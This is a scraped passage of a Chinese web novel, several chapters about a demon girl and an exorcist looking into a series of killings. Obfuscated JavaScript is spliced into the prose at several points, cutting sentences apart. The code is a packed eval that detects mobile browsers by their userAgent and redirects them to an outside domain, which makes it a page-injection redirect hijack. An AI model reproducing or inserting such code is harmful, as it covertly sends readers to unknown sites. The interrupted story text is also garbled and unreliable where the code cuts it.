“最近外头不太平,别出门了。昨晚县衙接到一桩案子,我这几日都脱不开身,晚饭不用等我。” 王妙仪蓦地抬起头,“你可是去找那个季姑娘?” “待会哭累了,就吃一碗银耳莲子羹。” “我不吃!” “随你。” 他径自转身走了。王妙仪捧着脸奔回房,把门一摔。 沈伯来回看看这两位祖宗,深深叹了口气。 季月从小仓山上带下来一捧土。人间气味驳杂,这捧土却因地处密林之中,少见阳光,只沾染了松柏清香。她甚是喜欢,精心挑出一只双鱼纹的陶罐,放进去仔细封好。 刚洗完手,外面传来敲门声。 “沈大人?” 多日未见,他似乎消瘦了些,脸上颇有风霜之色。 季月一时想说许多话。我碰上你表妹了。原来你们住在一块儿。怎么没听你提过? 然而不等她开口,沈灵均就单刀直入,“陈二死了。” “啊?” “他在小仓山上与你起过冲突。记起来了吗?” “你都听说了?是王姑娘告诉你的?” “嗯。陈二今早被人发现,死在密闭的房间里。” “他怎么死的?” “被极细极锋利的东西划了一道,”沈灵均在自己前胸比了一下,“身首分离,死状极惨。” 季月听他说得古怪,好奇心起,立刻把王妙仪的事抛在脑后,“带我去看看。” 陈二的尸体暂放在别院柴房。沈灵均领着季月一路进去,引来许多使者们窥探的眼光。 季月经过小仓山一事,对闻妖使者殊无好感。 “县衙为什么要委派闻妖使者上街?” “是闻大人的意思。” “那这个闻大人和你比,谁厉害?” “要看比什么了。” “比捉妖。” “我厉害。” “比查案。” “还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084227|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我厉害。” 季月奇道,“那他究竟哪点比你厉害?为什么要听他的话?” 沈灵均面无表情地掀开门帘,“到了。” 陈二的两半身体被放在一张长桌上,中间留出三指的空隙。沈灵均把油灯移近,照亮伤口细节。 季月一见到那整齐利落的切口,就扬起眉毛。 这断裂的样子,她可太熟悉了。 那东西,人间竟然也有? 她的表情全落在沈灵均眼里。 “有什么发现?” “确实死得很惨。” “没了?” “没了。”季月抬起头,眼瞳中映出两团灯火,“你该不会怀疑我吧?” 沈灵均盯了她片刻,“应该不是你。你昨晚一直待在琳琅阁。” 何况幂篱缠头已经是她的恶作剧了。依她的脾性,不会再下杀手。 季月奇道,“你怎么知道我昨晚在哪?” 他避而不答,“我虽信得过你,别人未必会信。衙门严令彻查此案,寻找所有和陈二有过节的人,前去问话。早晚会找到你。” 季月眨了眨眼,“上次你们徐大人画了个红薯精,也说是我,怎么至今还没找来?我真的好怕。” 沈灵均嘴角抽动一下,“不如助我查清此案,找出真凶,彻底洗脱嫌疑?” 季月扫了一眼陈二的尸体,干脆利落地拒绝,“不要。我要躺平。” 沈灵均愕然。他本以为她会一口答应。 “上次你被猫妖袭击,是我带着你四处奔走,抓住猫妖。” “……” “上上次你手臂被树妖扎了个洞,是我舍命与树妖相斗,将它赶走。” “……” “就说最初你来到南安县,要不是我设了阵法,擒住衣鱼,它至今还在祸害你外祖留下的古籍。” “……” “你这么容易招惹妖怪,回回都是我从中周旋,保住你的性命。你难道不应该报答于我?” 季月觉得沈灵均定是疯了。就他那些雕虫小技,也敢邀功?小妖作乱,哪一次不是靠她用法力降服?真论起来,是她救了他的命。 她看着他不知天高地厚的样子,几欲戳穿真相。 “沈大人,我有一事不明,南安县人口众多,为何只有你能捉妖?” “当初师父看中了我的根骨资质,要我拜入门下。多年来勤修苦练,才有今日的本事。” “那么,这些闻妖使者既无资质,也不修炼,怎敢打着捉妖的名目,到处生事?” 沈灵均有些焦躁,“这和此案有何关系?” 季月一指陈二尸体,“你可听过德不配位的道理?他招惹了不该招惹的东西,被盯上了。我若是使者,识相点早日请辞回家,还能保一条命。” 沈灵均愣了愣,面上渐渐显出怒色,“你真这么想?” 陈二死得如此之惨。只因得罪过她,她就记恨于心,毫无怜悯之意。果然冷血残忍是妖的本性。 “捉妖师的职责是锄强扶弱。陈二虽然举止有瑕,却罪不至死。” 季月沉着脸。自知之明,趋利避害,是妖界生存的第一课。学不懂这个道理的,全都化为粉末了。 “我只知道弱肉强食。” 油灯的光在黑暗中闪了闪。季月和沈灵均相互瞪着,只看得到彼此一小块面容。 门外恰好有几名闻妖使者勾肩搭背地走过,风中飘来“十八摸”的调子。 “阿姐头上桂花香……” 21. 弦断有谁听(五) 县衙催逼得紧,衙役们难得动作迅速,只隔了一日,便呈上长长的名单,上面所列的全都是与陈二有过节的人。 徐大人下令,把名单上的人全部召来县衙审问。 才来了一半,他就后悔了。十成中有九成是年轻女子,个个打扮得花枝招展,叽叽喳喳地说个不停,好好的县衙弄得比集市还嘈杂。 他把惊堂木拍了又拍,心下暗骂沈灵均办事不力。“肃静!公堂之上,岂容你们放肆!排好队,一个个说来,再有吵闹的,即刻收押!” 女子们挨个供述自己与陈二是如何起的冲突,内容大同小异,无非是陈二要搜身搜物,蛮不讲理,惹来他人不满。 “知县老爷,我们这些未出阁的女子,若是任由陈二在怀中乱摸,往后还怎么嫁人?” “青天大老爷,我们这些嫁了人的,也不能凭白受辱啊。” “既说是闻,动动鼻子也就罢了,怎么还上下其手啊?” “我家祖传的翠玉扳指,就是砸碎了也不给他。” “我脸上这道红痕,就是被陈二的鞭子抽的。” “老身在南安县住了七十余载,日子向来太平。这使者们一来,就鸡飞狗跳。” 徐知县被吵得头疼,怒骂,“无知刁民!闻妖使者是朝廷委派,行事自有其道理,岂容尔等置喙?是不是你们其中的哪一个,心怀不满,杀害使者?” 众人哗然。 “使者被杀了?” “竟有这等事!” “我等弱女子见到这样的粗胚,躲还来不及,谁会去寻晦气呀。” “既劳动了沈大人,想必是妖所为?” “我若是有杀他的能耐,还会被他用鞭子抽吗?” 沈灵均揉着额角。 看这情形,实在问不出什么。陈二得罪过的人虽多,大都是因为受到滋扰,心怀不满,却不至于要害其性命。 他要师爷记下众人昨晚身在何处,何人可以证明。人数太多,师爷一支笔记不过来,又喊来两名会写字的衙役,公堂之上闹哄哄的,乱作一团。 徐知县眼看着天色渐渐暗下去,一颗心早飞到了庆真楼,想着那里的美酒佳肴,肚子忍不住咕咕叫了起来。 庆真楼一座主楼、两座辅楼,皆是重檐歇山顶,中间有虹桥相连。季月坐在屋脊上望天。深秋的夜空像一块凝结的冰晶,一伸手就能触到,繁星闪烁,凉风拂面,好不惬意。 一晃眼,虹桥的栏杆之上,多了一条黑色的影子。 季月手一扬,一片鲜红的月季花瓣打着转飞向黑影,花瓣边缘带有锯齿,如同飞刀,破空而去时发出嗖嗖声响。 黑影不敢硬接,跳起来闪避,花瓣自行转弯,跟在后头紧追不舍。 第二片花瓣飞出,阻住去路。眼看就要碰到,黑影陡然拔高,两片花瓣撞在一起,落了下来。 季月眯眼看着空中越来越小的影子,顷刻间又扔出五片花瓣,封住上中下前后五个方位,呈包围之势。 黑影闪转腾挪,左支右绌,竟从一个刁钻的角度找到一丝空隙,逃出生天。 他正面向季月扑来,袍袖一扬,一把轻若无物的草籽洒了出来,犹如下了一阵急雨。 季月躲避不及,阿秋一声,打了个喷嚏。 五枚花瓣齐齐扎在黑影背后。他身形晃了晃,落在脊兽边上,吐出一口汁液。 楼下辉煌的彩灯照亮他的面目。 “洒迷魂草。”季月拍了拍衣角,“这就是曹掌柜的待客之道?” 曹掌柜擦了擦嘴角汁液,“哪有往屋顶上跑的客人?现在的小妖,当真无法无天。” 他做妖的声音比装人的声音尖锐,像金属敲击墙壁,嘎嘎作响。 季月一愣。好几百年没被这样叫过了,听着还真新鲜。 “你敢叫我小妖?好厚的脸皮。” 曹掌柜高傲道,“我在人间修炼了七百余年。初到此地之时,还没有什么南安县呢。” 季月有些怀疑。看他的身手,不像有这么深的修为。 “若要抢地盘,免谈。若要上贡,拿出点诚意来。” 季月无语。南安县的民风怕是要加上骄傲自大这一条。闻妖使者也好,捉妖师也好,还有这个伪装成掌柜的七百年老妖,一个个自高自大,倚老卖老,鼻子快翘到天上去了。 “不抢地盘,也不上贡。只是好奇问问,你用的什么办法收敛妖气?” 妖的气味很难隐藏,季月来过庆真楼多次,对曹掌柜的身份却毫无察觉。现在面对面站着,刻意留心,才闻到一股淡淡的青草芳香。 “告诉了你,我还怎么混?” 老妖扬起下巴,用鼻孔看她。季月心头火起,一根带尖刺的枝条倏地刺出。 曹掌柜猝不及防,翻身摔下屋脊。 许久没有动静。季月施施然走了两步,朝楼下望去。朱雀大街上,夜市正是最热闹的时候,亮如白昼,摊贩成行,人来人往,欢声笑语,小吃和饮子的香味一阵阵飘上来。 一条绿色软绳猛地撕破这安乐祥和的景象,兜头袭来。 呵,露真身了。 季月空手抓住绳索末梢,只感到一股大力,带着她双脚离地,离了屋檐。 两妖各执绳索一端,于虹桥之上,缠斗起来。 季月的花瓣掷得如同花雨,从四面八方追击曹掌柜,软绳却像活的一样,在虹桥上下旋转翻飞。绿色绳索在红色栏杆间绕了一圈又一圈,起初还像是装饰的彩带,到后来越缠越厚,竟把虹桥捆成了一只结结实实的大粽子。 周旋了一盏茶工夫,季月不耐烦了,一股大力自手掌发出,将绳索寸寸震断,毁了个干净。碎片纷纷扬扬而下,把桥面铺成了草地。曹掌柜大骇,正欲逃跑,月季枝条疾飞而出,在他腰间缠了一圈,把他头上脚下地倒吊在桥边。 季月笑着拍拍手,“服了吗?” 曹掌柜看着倒悬的朱雀大街,脸色一阵青一阵白,突然破口大骂,“你这小妖,看我报官抓你!” 季月还以为自己听错了,“你也是妖。妖喊捉妖,岂不可笑?” 曹掌柜对着虚空拱了拱手,“我在此地经营酒楼二十余载,深得朝廷信任。我若去报官,徐大人一定信我。” “他只是没发现你的身份。” “身份是自己给的。这次闻妖使者出动,全县鸡飞狗跳,唯独我庆真楼免检,你说是什么道理?只要朝廷信我,我就不是妖。” 季月只听到了免检两个字,奇道,“当真?闻妖使者不来庆真楼?” 曹掌柜摇头晃脑,“你这小妖身手不错,人间的道理却懂得太少。” 这倒是无从反驳。同样是妖,季月自觉在南安县混得远不如他,明明一心躺平,官府的捉妖师还隔三差五找上门来。 她记起自己的来意,抖了抖枝条,威胁道,“跟我说道理是吧?你这绿油油、软绵绵的绳索,切割起人的骨骼筋肉来,可好用得很啊。” “……你先放我下来。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084228|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 枝条松开,往空中一甩。曹掌柜的身体飞起,落在桥面。双脚刚立定,带着尖刺的枝条又逼到眼前,堪堪停在喉咙处。 曹掌柜喘息未定,挤眉弄眼,“你若想吃五花肉,我可以借你一用。” “别装了。” 曹掌柜伸出两根戴着绿宝石戒指的指头,小心地将枝条拨开一寸。他现在落于下风,不得不服软让步。 “真搞不懂现在的小妖,究竟站在哪一边。这样吧,我的酒楼让你白吃白喝。其余的事,你不要多问,如何?” 季月眨眨眼。 以往在妖界,一见面就是打架,打得血肉横飞,你死我活。来了人间,隐瞒身份许久,乍见到别的妖,竟起了惺惺相惜之感。 这可能就是书上说的,他乡遇故知吧。 何况陈二那样的上品人物,她并没有兴趣为其伸冤。 枝条缓缓收回。季月扬起下巴,吩咐道,“我要桂花糕,眉寿酒,还要阳澄湖里刚捞出来的大闸蟹。” 曹掌柜嘴角抽搐,强压下心头怒意,“没问题,包您满意。” 两妖藏起武器,恢复成人模人样,一前一后,大摇大摆地沿着连廊走回楼里。经过天水阁门口时,里面恰好响起乐声。 起初是一段琴箫合奏,琴声清越,箫声低沉,一应一答,相得益彰,曲调活泼明快。 季月不自觉停住脚步,凝神细听。 反复两遍之后,琵琶突然加了进来。铿锵有力,先声夺人。琴音奏完一句,不等箫声回应,琵琶就横插进来,蛮横霸道地弹上几句。声音越来越尖锐,不但把箫声排挤得销声匿迹,连琴音都弱了下去。 很快,琵琶的曲调掌控全场,仿佛君王登上王位,傲视群雄,竹笛和卢沙为其作配,琴音被围在中间,似落入君王掌中的美人,进退两难,不得解脱,再也不复开头的意气风发,只得弱弱和鸣。 最后铮铮两响,琵琶彻底夺了琴音。众乐渐渐息声,仿佛一行人簇拥着君王远远地去了,只余箫声留在原地苦苦徘徊,许久才发出两声呜咽。乐声绵长,蕴含无穷的苍凉之意,别离之苦,闻之恻然。 乐声止息,季月才发现自己整个身子不知何时贴到墙上,恨不得把耳朵伸进屋子。 屋内,一个暗哑难听的嗓音响起,“此曲名为《生别离》。” 季月心里一动。人间别离,竟有如斯苦楚。 曹掌柜拍了拍她的肩,“你去楼下坐吧,要什么好酒好菜,我这就叫人端上来。” 季月还在回味那乐曲,随口说道,“妖界可没有这么好听的曲子。” 曹掌柜脸色大变,“妖界?” “是啊,那里成天打打杀杀,无趣得很。” 曹掌柜的眉毛一寸寸扬起,几乎与头顶齐平,眼珠子差点从眼眶里掉出来,猛地抓住季月的肩膀,逼问道,“你是从妖界来的?不,不可能……” 季月看他激动得脸皮泛绿,险些连真身都要冒出来了,只觉得莫名其妙,“怎么,你也想去?” 他长长的指甲陷进季月肩膀,声音都哑了,“你知道怎么去?快告诉我!” 季月吃痛,眼珠红了红。一息过后,曹掌柜的十个手指齐根而断。 他猛地跳开,捂着嘴,把一声痛苦的哭号憋在喉咙里。手掌伤处,露出一丛丛细软绵密的绿丝绦,和他方才用来打架的绳子一模一样。 他目露凶光,恶狠狠地盯着季月。 季月轻蔑一笑,“告诉了你,我还怎么混?” 22. 弦断有谁听(六) 陆三的尸体是在次日一清早被发现的。别院负责洒扫的婆婆打开房门时,还以为前几日的噩梦又重演了。 满地鲜血尚未凝结,顺着门缝一滴一滴地淌到院中,流成一条蜿蜒腥臭的血线。 陆三的身体被切割成了三块。第一条线照样是左肋划到右肩,把头和身体生生分离,第二条线从左腰划到裆下,把一条腿完整地切了下来。 发现尸体的婆婆高声尖叫着奔了出去,一路逃回了家,发誓哪怕是穷死饿死,也绝不再踏足这个闹鬼的院子了。 沈灵均刚刚踏进院门,就被使者们团团围住,大声埋怨。 朝廷委派的闻妖使者离奇死亡,他身为捉妖师,缉凶不力,才导致短短几日,接连两人被残害。若此次还是不能擒住罪魁祸首,恐怕无人再敢住在这别院之中了。 沈灵均看着他们群情激愤,色厉内荏的模样,心里突然冒出一句话,“我若是他们,识相点早日请辞回家,还能保一条命。” 他甩甩头,生自己的气。妖的胡言乱语,记那么清楚做什么。 “诸位稍安勿躁,待仵作验过尸身再说。” 一回生,二回熟。随同沈灵均来的两个衙役经过上回的历练,胆子倒大了几分,屏住呼吸,将陆三的三块尸身抬上一块木板,运到柴房,放置在陈二边上。 陆三身上的伤口与陈二如出一辙。创面极细却干净利落,那神秘的凶器一划到底,未遇丝毫阻塞。 陆三的眼球突出,五官拧作一团,显然是死前遭遇了极大的痛苦。仵作怀疑,他是清醒着先被割断了腿,鲜血喷涌了一阵后,再遭身首分离,一击毙命。 柴房里面验着尸,外头院中吵闹声一阵一阵,不绝于耳。沈灵均听得着恼,命衙役出去看看,出了何事。 “回禀大人,有两名闻妖使者被吓破了胆,收拾包袱逃命去了。要追吗?” 沈灵均冷哼一声,“追什么?若真是被妖盯上了,逃出别院又有何用。妖是没长脚,还是不认得路?” 衙役讷讷不敢应声。沈大人平日里谦谦君子,喜怒不形于色。如此出言讥讽,想必是心烦到了极点。 一块白布盖上陆三的尸首,遮住了他阖不上的眼睛。 沈灵均盯着白布出神,脑中不断回想季月看到伤口时,脸上的表情。 上次不欢而散之后,就没见到她。 她肯定知道些什么。 王妙仪挺直脊背,坐在书桌前,手执一管羊毫,悬在纸面上方。脚边胡乱扔着许多纸团。半晌,笔尖落了下去,划出一道长长的斜线。 又写废了一张。 她把纸团起来,揉了揉,扔在废纸篓中。 练字需要静心。 如今的状况,叫她如何能够静心。 那个季姑娘…… 窗棂处忽然传来毕波两响,一张千娇百媚的脸出现在外头。 王妙仪吓了一跳,险些以为自己生出了幻觉。 怎么正想着她,她就来了?! 季月冲她挤挤眼睛,“王姑娘,你表哥不在么?” “你……你找他做什么?” 好不知廉耻的女子,光天化日,竟然追上门来。 “你是怎么进来的?” 季月瞥了瞥院墙,“想进就进来了。” 王妙仪想起她立在索道上的本事,俏脸一沉,训斥道,“就算你练过轻功,也不可擅闯别人家宅院。” 季月不以为意,“这样啊。那你出来好不好?” “做什么?” “那日在小仓山上没有玩得尽兴,我们去庆真楼喝酒啊?” 王妙仪又惊又怒。沈伯平日里经常念叨,庆真楼是南安县头一处藏污纳垢,飞短流长的所在。似她这等好人家的女子,若还在乎名节,应当离那个地方越远越好。 这个季姑娘,也太随便了。 “你常去那种地方?” “我刚和他们曹掌柜交上朋友。走啊,我请客。” 王妙仪想都不想地拒绝,“我不喝酒。” 季月微感失望,“那算了,我去问问别人。” “等等!” 她回过头来。 王妙仪心里两股念头交战。若是不跟她去,她定然要去寻表哥。这女子的一张脸太过迷人,表哥道心再坚,也承受不住这样日复一日的磋磨诱惑,难免被她勾了魂去。 自己若能挺身而出,就可替表哥抵挡一阵,顺便打探清楚她对表哥存了什么心思。 她胸腔里升起一股豪迈之气,为了表哥的名节,庆真楼就算是龙潭虎穴,也要闯上一闯。 王妙仪咬了咬朱唇,“我跟你去。” 她换过衣服,梳理头发,收拾了一个小小的包袱,放上胭脂、梳子、熏香、手绢等随身小物,想了想,又放进一瓶表哥给的补气安神丸。从橱里拿出一顶新的幂篱,戴在头上。 季月早就等得呵欠连连。 沈伯不在家。王妙仪对下人交代几句,这才邀季月同上马车。 车厢内,王妙仪正襟危坐,肩背挺得笔直。季月则像没骨头似的靠在车厢一侧,透过帘子缝向外张望。 刚到庆真楼门口,还未下车,季月就掀开帘子喊道,“曹掌柜,我带朋友来了。” 片刻,一个眼珠子乱转,一脸精明相的男子毕恭毕敬地迎了出来。 曹掌柜前一晚挑战季月,落败在先,又试图逼问她怎么去妖界,冒犯在后,被当场震断十根手指。今日在酒楼迎来送往,两只手始终笼在袖中,遮遮掩掩。 他看着季月,心中恼恨,面上却堆起假笑,“巧了,三楼天水阁正好空着。请季姑娘上坐。您身后这位是……?” 王妙仪突然出了一身冷汗。要是被人知道她来这种地方,清誉何存。 她事先未曾想到此节,也来不及现编一个假名,急得大喊一声,“名字不能告诉你!” 季月帮腔,“你问那么多干什么?” 曹掌柜原本只是随口一问,见她反应如此激烈,倒留了个心眼,朝那幂篱细细打量一番。 季月拉起王妙仪的手,吩咐道,“前方带路。” 曹掌柜对这位祖宗哪敢说个不字,亲自把人领上去,吩咐厨房上最好的酒菜。 一盏茶后,季月对着桌上六只鲜香肥美的螃蟹笑开了花。 秋风起,蟹脚痒。阳澄湖里捞上来的大闸蟹最是美味。 妖界可吃不到这好东西。 她弃蟹八件不用,徒手拆蟹壳,先咬了满口金黄色的蟹膏,又挑出蟹身白肉,蘸着姜醋大嚼,再拆下蟹脚,掰断关节,把里面的肉嘬出来,吃得哒哒有声。 王妙仪看她吃相如此野蛮,嘴边沾了姜沫都不去擦,几次想出言提醒,又咽了回去。 曹掌柜突然把头伸进来,眼珠子乱瞟,“两位的眉寿酒要温的还是冷的?” 王妙仪吓了一跳,赶紧把幂篱放下。 季月头也不抬,“一盅温的,一盅冷的。没喊你不要进来。” 他连连称是,退了出去。 “这掌柜的怎么亲自上菜?” “我面子大。”季月干掉一只蟹,挥舞着蟹钳,满足地叹息,“啊!人间美味。” 王妙仪矜持地端起茶杯,抿了一口。 “王姑娘,你怎么不吃?” “我不想脏了手。” “那让厨房剥好了再端上来?” “多谢。”王妙仪想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084229|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,又说,“在家都是表哥替我剥的。” 季月震惊,“沈大人那么爱剥蟹?” 早知道就邀他同席,有这么一双巧手代劳,可以省却多少工夫。 随即想起,上回和他在柴房吵了几句,不欢而散,至今还没和好。 王妙仪怔怔出神。表哥对她自然没得说。从小到大,几乎有求必应,从没对她板过脸。她平日里的衣食起居,比起高门大户的世家小姐也不遑多让。若是亲生父母在世,倒未必有这等待遇。 偏偏他七岁那年,就被天一道人选中,要去当什么捉妖师。 若不是这样……若不是这样…… 王妙仪柔肠百转,触动了埋藏最深的心事,对着季月,脱口而出, “我和表哥,我们原是有婚约的。在娘肚子里定下的娃娃亲。” 娃娃亲是什么意思,季月不懂,好在婚约她是明白的。 上个月茶楼的冯掌柜家办喜事,她还去观过礼呢。 体内某处的汁液,好像又开始倒流了。 “原来你们要成婚了……恭喜啊。” 王妙仪扁扁嘴,“不是的。表哥加入神巫署时,婚约就作废了。” 曹掌柜的大脸又不合时宜地出现在门口,“酒来了。两位的清蒸大白条要配豆豉酱还是辣酱?” 季月翻翻眼睛,“你看着办吧。我们在说悄悄话,不要来打扰。” “明白,明白。” 这回曹掌柜可把王妙仪的脸看清楚了,暗自思忖,季月这小妖结交这么个清秀佳人,莫非是想吃了她?看她瘦得皮包骨,口感可不会好。 “烦人。王姑娘,你接着说。神巫署是个什么地方?” “所有捉妖师都隶属于神巫署。神巫署有严令,捉妖师必须断绝一切世俗欲念,不得娶妻生子。” 季月扬起眉毛。人间竟有专门捉妖的组织,不知道那里的人本事大不大,比之沈灵均如何。 “季姑娘,看在你请我吃蟹的分上,劝你尽早对我表哥死心吧。你们两个是不会修成正果的。” “……死心?” 王妙仪义正辞严,“你这样和他纠缠不休,于自己的名声绝无益处。若是被你日后的夫婿知道了,还会心存芥蒂,影响女子的终身幸福。” 季月盯着她看了半天,“劝我死心,你自己怎么哭了呢?” 王妙仪急道,“哪有?” 抬手一摸,脸上果然有泪。 季月心有所悟,“你是不是喜欢沈大人?婚约作废,你很难过?” 王妙仪大窘,眼泪一串一串掉下来。 表哥娶不了她,偏偏她从有记忆起,心里就只装得下他。他天天在她跟前,柔声细语,妥帖关怀,她却不得不把炽热的心藏起来,只敢在午夜梦回时,悄悄流泪。 他是她唯一的依靠。他们本该是天造地设的一对。若是这世上没有神巫署,没有天一道人,没有妖,该多好。 原本想刺伤季月,反倒把自己心里的伤口揭开了。 季月适时地递上一只酒杯。王妙仪看都没看,接过来一口喝干。 一股陌生的辛辣之气直冲鼻子,呛得她连连咳嗽。 她摸索着掏出手绢拭泪。 季月一语不发,连饮了三杯酒,突然一拍桌子,“沈灵均有什么好?南安县这么多俊俏郎君,哪个不比他强?明天,我带你挨个去见。” “啊?” 王妙仪眼泪擦到一半,呆在原地。 庆真楼二楼,天水阁正下方,一张仙鹤屏风之后,也有一人呆在了原地。 当啷一声,白瓷杯子掉在地下,摔得粉碎。 杯子的主人仰头望着楼板,缓缓握紧了拳头。 23. 弦断有谁听(七) 沈灵均原本是来找季月的。 凶案接连发生。行凶手法诡异,可现场探不出丝毫妖气。他思来想去,只有从季月这里寻找突破。 此妖虽然残忍无情,脾气甚大,却没什么心眼,哄得她高兴了,或许能问出些线索。 他循着妖气来到庆真楼,向伙计一打听,才得知季姑娘并非独自前来:她正和一个头戴幂篱,不愿透露姓名的白衣女子在楼上天水阁共饮呢。 沈灵均讶然,这白衣女子该不会是自家表妹吧? 表妹生性胆小腼腆,又滴酒不沾,怎么会无端出现在这里,莫非是受了什么胁迫? 他刻意选了天水阁正下方的座位,隐身屏风之后,暗暗运起内功偷听。 楼上的对话,一字一句,全落在耳朵里,听得越多,他的脸色越难看。 表妹对自己的心思,家里人都看得出来。但一来,此事无可转圜,二来,表妹还是个小丫头,等过几年议了亲,成了婚,离开沈府,自然就把那份微妙的心思放下了。他们两个从小相依为命,骨肉之情血浓于水,那是永远都不会改变的。 季月这多管闲事的妖!表妹温柔贞静,平日里大门不出,二门不迈,带着她一个个见陌生男子,成何体统? 他抬脚把杯子的碎片踢到边上,忍着气继续偷听。 季月开始如数家珍地介绍南安县的俊俏郎君。 她倒是兼收并蓄,兼容并包,什么王秀才,张举人,何掌柜,孙员外,乃至朱雀大街上练杂耍的,卖糖人的,茶馆里头说书的,唱戏的,但凡长了两只眼睛一张嘴的男子,全部都算作“俊俏郎君”。 “远的不说,就说那日和我们同游小仓山的韩思年韩公子,长得风度翩翩一表人才,说话总带三分笑,不比你那冷着脸的表哥讨人喜欢?” 沈灵均大不以为然,君子讷于言而敏于行,她一只妖懂得什么。 王妙仪几口眉寿酒下肚,已有些微醺,再也没了顾忌。 “季姑娘你一个未出阁的女子,怎会认识那么多外姓男子?你和韩公子孤男寡女,上山同游,已是……已是大大的出格!被你将来的夫婿知道了,必会怪责!” “将来的夫婿?为了那等没影的事,我连小仓山都去不得了?” “女子的名节是重中之重,外面的郎君再……俊俏,我也不会见的。季姑娘你也少见为妙。” 沈灵均听得暗暗点头。还是表妹教养得体,懂得分寸。 季月的声音突然拔高,“原来如此!我懂了。你终日只见到表哥一个,管他美丑好坏,只好喜欢他了。王姑娘,这便是书上说的一叶障目!其实沈灵均这个人无聊得很,成天忙着捉妖,偏又捉不着,嘻嘻。” 沈灵均怒火上冲。等自己功力见长,一定让她见识见识斩妖剑的厉害。 “不许你这么说!表哥他身手了得,智勇双全。”王妙仪说到一半,打了个酒嗝,“你……你难道不喜欢他了?” 楼上安静片刻。沈灵均屏息凝神,侧耳细听。 “喜欢啊。” 嘴角不自觉地弯了弯。还算她有点良心。 “我听说,你们这里的文人爱赏花。既爱牡丹富贵,又爱桃李明艳,既爱荷花清雅,又爱丹桂飘香,一年四季花开花落,从没有人说只喜欢一朵花的。我看人,也是一样。偌大的南安县人才济济,何必只喜欢一个,抛却了其他呢?” “……你的意思是说,刚才说的那些俊俏郎君,你都喜欢?!” “是啊,谁叫他们各有各的好呢!” 王妙仪从小养在深闺,何曾听过如此狂言,惊得呆了。 “季姑娘,女子当一心一意,坚贞不渝。若见一个爱一个,岂不成了水性杨花,为人唾弃!” “那男子呢?” “男子……倒是常有三妻四妾的。” “这岂非不公?” “唔……男子也当一心一意,不可见异思迁。” “有趣,有趣。若有朝一日,我遇到一个只爱一朵花的人,便信了你这话。” 沈灵均在楼下,也听得呆了。她这分明是把南安县的百姓当花来赏。那个韩思年,大概就是花中之王了。 简直可悲!可叹!下回见到韩公子,务须提醒他多加小心,被妖赏识,危在旦夕! 楼上天水阁,曹掌柜的头,第三次伸了进来。 “两位贵客可需要歌舞助兴啊?” 季月叹了口气,他还真是锲而不舍。 “上回在此弹琴的乐师在吗?” “在的,在的。贵客请稍候。” 须臾,彩衣班和阳春班鱼贯而入。乐师调了琴弦,奏响一曲热热闹闹的《清平乐》,舞姬提了裙摆,和着鼓点转起圈来。 舞乐既起,说话声便被盖过,听不真切了。 王妙仪双目含水,看着舞姬转圈,竟看得痴了。 她自小鄙视这些抛头露面的女子,本打算眼观鼻,鼻观心,对她们视而不见。 可一曲过半,她忍不住偷看一眼,然后又看了一眼,就再也移不开眼。 人的身姿怎能如此柔软,脚怎能轻易举过头顶,明明没长翅膀,怎能飞上半空又稳稳落地? 她一颗心砰砰直跳,仿佛自己的身子也跟着舞姬旋转。 一曲终了,她才惊醒过来,低下了头。 季月猛拍巴掌,“几位姐姐莫不是天仙下凡!得见一舞,耳聪目明,神清气爽!” 沈灵均望着楼板,冷笑一声。听这热切的语气,又在“赏花”了,竟是男女都不放过。 舞姬们咯咯娇笑。难得为女客跳舞,倒也新鲜。不用卖弄姿色,只须展示技艺。 季月盯着栖音,“这位琴师,上回听你弹《生别离》,听得心都揪起来了。原来你也会弹欢快的曲子。” 良久,一个暗哑粗糙的嗓音响起,“贵客听过《生别离》?” “是啊,和你们曹掌柜一起,站在门外听的。” “如此亦是有缘。《生别离》之后,还有一曲《春声碎》。” 曹掌柜打断,“栖音,季姑娘爱听欢快的曲子,你要大放悲声,自己关在房里弹吧。” “不,栖音琴师技艺高超,只要是他弹的,我都爱听。” 沈灵均沉着脸,往椅背上一靠,凝神细听。 “贵客谬赞。奴献丑了。” 琴音起。长音连成一串,循环往复,似乎有个伤心之人在狭小的庭院里来回徘徊,不得解脱。音调渐渐高亢,近乎刺耳。节奏忽快忽慢,毫无章法。 正凌乱间,琵琶响起。同样是高亢的调子,一出场就与琴音相互争鸣,势如水火。琴声叮咚,琵琶铮铮,辅以尖锐笛音,好像一场大乱斗,全无美感。 咚,鼓声敲响,恰似衙门升堂时,主审官一拍惊堂木,止住了乱局。琵琶奏了三个狠辣短促的单音。琴音缭乱,高声悲鸣。笛声交错吹奏,重复琵琶的三个单音。鼓声又响,一下快似一下,雷厉风行,连击了十下。琴声像被击散了架,只能发出若有若无的颤音。 